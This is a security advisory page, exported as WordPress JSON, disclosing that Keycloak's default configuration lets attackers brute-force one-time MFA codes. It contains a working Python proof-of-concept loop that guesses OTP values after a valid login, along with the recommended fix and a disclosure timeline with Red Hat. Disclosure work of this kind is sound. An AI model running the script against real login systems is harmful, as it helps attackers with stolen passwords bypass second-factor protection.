{"id":17103,"date":"2021-09-13T16:30:22","date_gmt":"2021-09-13T14:30:22","guid":{"rendered":"https:\/\/herolab.usd.de\/?page_id=17103"},"modified":"2021-09-13T17:08:17","modified_gmt":"2021-09-13T15:08:17","slug":"usd-2021-0016","status":"publish","type":"page","link":"https:\/\/herolab.usd.de\/en\/security-advisories\/usd-2021-0016\/","title":{"rendered":"usd-2021-0016"},"content":{"rendered":"\n\n[et_pb_section fb_built=\"1\" _builder_version=\"4.9.4\" _module_preset=\"default\" background_color=\"#2E353D\" custom_padding=\"||0px|||\" global_colors_info=\"{}\"][et_pb_row _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_column type=\"4_4\" _builder_version=\"4.9.4\" _module_preset=\"default\" global_colors_info=\"{}\"][et_pb_text _builder_version=\"4.10.7\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<h1>usd-2021-0016 | Keycloak<\/h1>\n<p><span><\/span><br \/><strong>Advisory ID<\/strong><span>: usd-2021-0016<\/span><br \/><strong>Affected Product<\/strong><span>: Keycloak<\/span><br \/><strong>Affected Version<\/strong><span>: Latest (14.0.0)<\/span><br \/><strong>Vulnerability Type<\/strong><span>: Multi-Factor-Authentication Brute-Force (CWE-303: Incorrect Implementation of Authentication Algorithm)<\/span><br \/><strong>Security Risk<\/strong><span>: Medium<\/span><br \/><strong>Vendor URL<\/strong>: <a href=\"https:\/\/www.keycloak.org\" target=\"_blank\" rel=\"noopener\">https:\/\/www.keycloak.org<\/a><br \/><strong>Vendor Status<\/strong><span>: Not fixed \/ Default <br \/><\/span><\/p>\n<p><em>The following insecure default configuration was identified during a pentest. After investigations with the maintainers of Keycloak, it was shown that there is indeed a secure configuration. Nevertheless, as the default configuration is vulnerable, we decided to still disclose this advisory to increase awareness about this issue.<\/em><\/p>\n<p><span><\/span><\/p>\n<h3>Description<\/h3>\n<p>Keycloak enables users to enable a second factor by using one-time password (OTP) Tokens. In Keycloak\u2019s default configuration, these tokens can be guessed in a brute-force attack.<\/p>\n<p>Multi-factor authentication (MFA) is used to secure the access to user accounts on multiple levels. In case of the compromise of one factor, e.g. a password, further factors protect the account against unauthorized access. In the present case, the second factor is a OTP consisting of six digits, which is queried after the entry of valid credentials. The OTP has a validity of 60 seconds.<\/p>\n<p>In recent versions, Keycloak introduced a global protection against brute-force attacks that also protects the second factor of authentication. As this feature is disabled by default and therefore the OTP is not protected against brute-force attacks if not explicitely configured, an attacker with valid credentials is able to guess the value of the OTP under certain circumstances.<\/p>\n<p><span><\/span><\/p>\n<h3>Proof of Concept (PoC)<\/h3>\n<div class=\"x-text\">\n<p>The issue can be exploited by utilizing <a href=\"https:\/\/portswigger.net\/burp\" target=\"_blank\" rel=\"noopener\">Burp Suite<\/a>\u2019s Intruder or writing a custom python script. An exemplary script is given in the following:<\/p>\n<\/div>\n<p>&nbsp;<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.9.11\" _module_preset=\"9e260d37-0be2-4a12-a10e-3ed7e27b6ac6\" custom_margin=\"20px||20px||false|false\" global_colors_info=\"{}\"]<p>import requests<br \/>import re<br \/>import html<br \/>import sys<br \/>import urllib3<\/p>\n<p>urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)<\/p>\n<p>TOTP=int(sys.argv[1])<\/p>\n<p>with requests.Session() as s:<br \/>print('[*] Fetching session values')<br \/>r = s.get('http:\/\/example.usd\/auth\/realms\/master\/protocol\/openid-connect\/auth?client_id=a&amp;redirect_uri=http%3A%2F%2Fexample.usd&amp;state=b&amp;response_mode=fragment&amp;response_type=code&amp;scope=openid&amp;nonce=c&amp;code_challenge=d&amp;code_challenge_method=S256')<\/p>\n<p>match = re.search('action=\"([^\"]+)\"', r.text)<br \/>url = html.unescape(match.group(1))<\/p>\n<p>print('[*] Logging in')<br \/>r = s.post(url, data={'username':', 'password':''})<\/p>\n<p>while True:<br \/>match = re.search('action=\"([^\"]+)\"', r.text)<br \/>url = html.unescape(match.group(1))<\/p>\n<p>print('[*] Trying TOTP: {:06d}'.format(TOTP))<br \/>r = s.post(url, data={'otp':'{:06d}'.format(TOTP), 'login':'Sign In'}, allow_redirects=False)<br \/>if r.status_code == 302:<br \/>print('[+] SUCCESS: Logged in')<br \/>break<br \/>if r.status_code == 200:<br \/>status = re.search('Invalid authenticator code.', r.text)<br \/>if status is None:<br \/>print('[!] Unknwon error')<br \/>else:<br \/>print('[-] Wrong token')<br \/>TOTP += 1<\/p>[\/et_pb_text][et_pb_text _builder_version=\"4.10.7\" _module_preset=\"cc5ac6f4-ebbd-4b3f-bc92-4dfc1f15fe2c\" hover_enabled=\"0\" global_colors_info=\"{}\" sticky_enabled=\"0\"]<div class=\"e16902-22 x-container max width\">\n<div class=\"e16902-23 x-column x-sm x-1-1\">\n<h3><\/h3>\n<h3>Fix<\/h3>\n<div>\n<div class=\"x-text\">\n\nKeycloak allows to manually enable its <em>Brute Force Detection<\/em> mechanism which can be found within the <em>Realm Settings. <\/em>Therefore, it is recommended to always enable this configuration to prevent brute force attacks. Further hints regarding the hardening of Keycloak can be found within Keycloak\u2019s <a href=\"https:\/\/www.keycloak.org\/docs\/latest\/server_admin\/#password-guess-brute-force-attacks\" target=\"_blank\" rel=\"noopener\">Server Administration Guide.<\/a>\n\n<\/div>\n<\/div>\n<\/br>\n<h3>Timeline<\/h3>\n<div class=\"x-text\">\n<ul>\n\t<li>2021-04-07: This vulnerability was identified by Konstantin Samuel.<\/li>\n\t<li>2021-04-09: The advisory is sent to Red Hat via <a href=\"https:\/\/issues.redhat.com\/browse\/KEYCLOAK-17727\" target=\"_blank\" rel=\"noopener\">https:\/\/issues.redhat.com\/browse\/KEYCLOAK-17727.<\/a><\/li>\n\t<li>2021-04-27: Red Hat confirms the vulnerability.<\/li>\n\t<li>2021-04-29: After further investigations, Red Hat outlines that if the <em>Brute Force Detection<\/em> is enabled (requires manual configuration), the reported issue is mitigated.<\/li>\n\t<li>2021-05-01: usd confirms that the issue is not reproducible with the manual configuration of the <em>Brute Force Detection<\/em> mechanism.<\/li>\n\t<li>2021-06-11: Red Hat staff agrees to disclose the advisory.<\/li>\n\t<li>2021-07-30: Advisory is published.<\/li>\n<\/ul>\n<\/div>\n<\/br>\n<h3>Credits<\/h3>\nThis security vulnerability was found by Konstantin Samuel of usd AG.\n\n<\/div>\n<\/div>[\/et_pb_text][\/et_pb_column][\/et_pb_row][\/et_pb_section]\n\n","protected":false},"excerpt":{"rendered":"<p>usd-2021-0016 | Keycloak Advisory ID: usd-2021-0016Affected Product: KeycloakAffected Version: Latest (14.0.0)Vulnerability Type: Multi-Factor-Authentication Brute-Force (CWE-303: Incorrect Implementation of Authentication Algorithm)Security Risk: MediumVendor URL: https:\/\/www.keycloak.orgVendor Status: Not fixed \/ Default The following insecure default configuration was identified during a pentest. After investigations with the maintainers of Keycloak, it was shown that there is indeed a secure [&hellip;]<\/p>\n","protected":false},"author":99,"featured_media":0,"parent":16124,"menu_order":0,"comment_status":"closed","ping_status":"closed","template":"","meta":{"_et_pb_use_builder":"on","_et_pb_old_content":"","_et_gb_content_width":"","inline_featured_image":false,"footnotes":""},"class_list":["post-17103","page","type-page","status-publish","hentry"],"_links":{"self":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/17103","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages"}],"about":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/types\/page"}],"author":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/users\/99"}],"replies":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/comments?post=17103"}],"version-history":[{"count":0,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/17103\/revisions"}],"up":[{"embeddable":true,"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/pages\/16124"}],"wp:attachment":[{"href":"https:\/\/herolab.usd.de\/en\/wp-json\/wp\/v2\/media?parent=17103"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}